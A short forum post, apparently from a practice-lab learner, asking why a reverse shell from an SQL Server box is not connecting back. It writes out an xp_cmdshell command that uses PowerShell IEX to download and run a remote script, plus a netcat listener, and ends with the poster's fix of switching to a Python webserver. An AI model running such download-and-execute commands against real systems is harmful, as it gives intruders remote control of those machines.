Stuck on starting point - privilege escalation please help

Hi forum I am totally stuck here.

Running through starting point im up to privilege escalation.

I have managed to connect to the SQL box with and enabled the xp_cmdshell. Everything looks normal with that.

I have created the powershell script that that will run on the target SQL box and hosted it on an apache webserver. Running the url to the file opens the .ps1 script in the browser so all good there. I also updated the IP address in the powershell script to my VPN IP address.

Starting nc -lvnp 443 looks OK. I can see listening port 443 on any adaptor.

My laptop isn’t running a firewall.

When I run:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("");"

its not conneting back to my kali machine.

Any assistance much appreciated…


I fixed it…

The problem was that I was running Apache and I needed to by running a Python webserver :slight_smile: